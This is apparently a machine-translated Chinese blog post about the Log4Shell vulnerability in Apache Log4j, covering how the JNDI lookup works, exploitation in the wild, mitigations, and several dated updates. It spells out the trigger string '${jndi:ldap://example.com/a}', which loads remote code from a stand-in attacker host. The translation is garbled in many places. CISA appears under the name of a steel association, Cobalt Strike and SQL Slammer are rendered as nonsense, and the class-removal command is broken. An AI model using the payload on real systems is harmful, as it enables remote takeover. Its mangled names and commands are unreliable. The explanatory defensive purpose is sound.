如果您正在运行依赖于Apache Struts或使用流行的Apache Log4j实用程序的服务,我们希望您没有周末计划。

一个被列出为cve - 2021 - 44228于2021年12月9日公开。该漏洞很简单,容易触发,可用于在脆弱的系统中执行远程代码执行(RCE),这可能使攻击者获得对系统的完全控制。攻击者所要做的就是让受影响的应用程序记录一个特殊的字符串。因此,研究人员将该漏洞称为“Log4Shell”。

该漏洞的CVSS评分为10.0(满分为10)。它影响Apache Log4j 2.0-beta9到2.14.1版本。版本2.10及更高版本提供了缓解措施。

Log4j是一个开源日志库,用Java编写,由Apache软件基金会开发。数以百万计的应用程序都在使用它,其中一些应用程序非常流行——比如iCloud、Steam和minecraft——所以这个问题的潜在影响是巨大的。

工作原理(简化)

记录器是一种软件,它记录计算机系统的某些部分发生了什么。日志可以用来确定软件是否顺利运行,或者在出现问题时调查导致错误的事件。一般来说,IT和安全人员希望尽可能多地记录日志。

与许多日志记录器一样,Log4j还执行一些基本操作,以使输出对我们普通人来说更容易理解。其中一个操作是变量替换,它们会寻找像这样的模式${一},并将它们替换为其他信息。

此漏洞在于替换字符串$ {jndi:此模式触发Java命名和目录接口,它可以从Internet上任何地方的另一台计算机加载Java资源。

不幸的是,许多应用程序在记录来自用户的数据时没有先对其进行清理,攻击者可能会通过将变量替换模式包含在HTTP报头或输入字段等内容中,将它们偷偷地放入日志中。

该漏洞由一个简单的字符串触发,发送到易受攻击的服务器:

$ {jndi: ldap: / / example.com/a}

当易受攻击的应用程序记录字符串时,它会触发对攻击者控制的远程LDAP服务器(example.com在我们的场景中)。恶意服务器的响应包含一个远程Java类文件的路径,该路径被注入到服务器进程中。

在欺骗易受攻击的应用程序加载它们的Java类之后,攻击者可以使用它来执行与使用日志库的应用程序具有相同权限级别的命令。

在野外使用

0天之后发布在推特上,以及在GitHub上发布的概念证明,该漏洞已经被发现用于野外新西兰CERTCERT奥地利,CERT德国.与其他许多人一样,他们看到自动化系统试图利用这一漏洞。

考虑到这个库是多么常见,以及一个相对容易利用的漏洞的后果是多么严重,这是一场灾难。许多组织甚至没有意识到他们是脆弱的。

根据研究人员马库斯哈钦斯以《我的世界》为例,攻击者只需将恶意字符串粘贴到聊天框中,就可以在《我的世界》服务器上获得远程代码执行。类似的例子存在于许多其他流行的服务中。

防止Log4j漏洞

对于Log4j 2.10.0及更高版本,可以使用缓解措施。版本2.15.0默认情况下不容易受到攻击。请注意,在升级之前可能需要更新其他依赖项,例如Java版本。修复这一漏洞可能并不简单,但却是当务之急。

Apache Log4j项目建议,如果由于某种原因无法升级,可以使用以下方法缓解措施

  • 2.10.0或更高版本通过切换log4j2.formatMsgNoLookups系统属性或环境变量LOG4J_FORMAT_MSG_NO_LOOKUPS真正的.这可以通过添加来完成量Dlog4j2.formatMsgNoLookups = TrueJVM命令来启动应用程序。
  • 2.7至2.14.1,所有PatternLayout可以修改模式,将消息转换器指定为% m {nolookups}而不仅仅是% m
  • R2.0-beta9到2.10.0,取出JndiLookup类路径中的类:-q -d log4j-core-*.jar /apache/ loggging/ log4j/core/lookup/ jndilookup .class

不幸的是,受影响系统的用户几乎没有办法使自己不那么容易受到这些后果的影响。毫无疑问,许多系统将受到影响,系统管理员将非常谨慎地对待异常情况。

所以,如果你是一名管理员,期待一个安静的周末,你知道该怎么做!

更新:12月13日上午5:00,pt -广泛扫描和利用

在仔细检查了这个漏洞后,研究人员发现,在公开披露之前,这个漏洞就已经被积极利用了,最早可以追溯到12月1日。然而,大规模的剥削是在揭露之后开始的。

到目前为止,大多数攻击似乎来自Mirai等已建立的僵尸网络,包括一些加密僵尸网络。但微软警告这是看到了一些攻击导致的下降钴罢工.Cobalt Strike是由HelpSystems提供的威胁仿真工具集合,可与Metasploit框架协同工作。但网络犯罪分子经常利用它作为后门,为在网络中横向移动提供一个理想的立足点。

更新:12月13日上午7点,pt - Log4j蠕虫的恐惧

随着安全社区与Log4j问题的大规模斗争,越来越多的人担心它可能是“可虫的”,互联网蠕虫可能会在未来几天出现。(蠕虫是一种恶意软件,它感染易受攻击的系统,然后利用它们发现并感染其他系统。)

因为它们的复制速度是指数级的,蠕虫可以传播得非常快。2003年,SQL监狱蠕虫病毒在大约十分钟内传播到世界各地,2017年,WannaCry勒索软件蠕虫病毒几小时内就传遍了全世界在它的终止开关被激活之前。

更新:12月14日凌晨4:15,Log4j的PT-Version 2.16.0发布

不知疲倦的Log4j维护者(不要忘了,他们是无偿的志愿者)已经发布了版本2.16.0,其中包括两个变化。缺省情况下,JDNI现在是禁用的,对消息查找的支持已经完全删除。

此修复是必要的,因为发现Apache Log4j 2.15.0中针对CVE-2021-44228的修复在某些非默认配置中是不完整的。在一份声明中,Apache软件基金会(ASF)的Ralph keepers说JNDI有“重大的安全问题”。他说,用户在默认情况下完全禁用它会更安全,尤其是考虑到大多数人不太可能使用它。

尽管这似乎是一个非常明确的变化,但这仍然是一个快速变化的局面。攻击者和红队都在仔细研究Log4j的潜在攻击面,我们建议您保持最新的版本,并为进一步的更新做好准备。

更新时间:太平洋时间12月16日凌晨4点美国官员已下令联邦机构在平安夜前保护其系统

网络安全和基础设施安全局将12月24日设定为安全补丁的最后期限。为了帮助组织,中钢协创建了一个网页,Apache Log4j漏洞指导并会积极维护社区来源的GitHub存储库关于Log4j漏洞的公开可用信息和供应商提供的建议。中钢协表示,他们将不断更新网页和GitHub知识库。

微软强调了这一紧迫性,它警告说,来自中国、伊朗、朝鲜和土耳其的多个民族国家组织现在正在使用Log4Shell。

更新时间:太平洋时间12月18日上午8:40Log4j 2.17.0版本发布

安全社区继续探索可以利用Log4j的方式,结果是软件的更新版本,版本2.17.0.我们发现以前版本的Log4j可以提供无限递归的模式,这会导致拒绝服务。通过JDNI对LDAP和LDAPS的支持也被移除了。有关详情,请参阅发布说明

更新:12月23日凌晨2:45,PT - CISA发布开源Log4j漏洞扫描程序

网络安全和基础设施安全局(CISA)推出了一个开源扫描器,以查找易受log4j漏洞攻击的应用程序cve - 2021 - 44228而且cve - 2021 - 45046.的CISA Log4j扫描仪是基于其他开源工具的。没有必要重新发明轮子,所以他们使用现有的工具并构建新的功能来扩展现有的扫描仪。整个软件包是由CISA通过与更广泛的网络安全合作创建和更新的

通过这些扩展,扫描器支持扫描url列表,几个模糊选项,DNS回调和有效负载,以绕过web应用程序防火墙。例如,早期的工具使用3或4个HTTP头进行模糊,而CISA扫描器支持超过60个。

网络安全和基础设施安全局(CISA)与联邦调查局(FBI)、国家安全局(NSA)、澳大利亚网络安全中心(ACSC)、加拿大网络安全中心(CCCS)、新西兰计算机应急响应小组(CERT NZ)、新西兰国家网络安全中心(NZ NCSC)和英国国家网络安全中心(NCSC- uk)共同发布了一份声明联合网络安全咨询提供技术细节、缓解措施和资源,以解决Apache Log4j软件库中的已知漏洞。该建议提供了使用带有Log4j的产品的任何组织都应该立即实现的关键指导。

大家注意安全!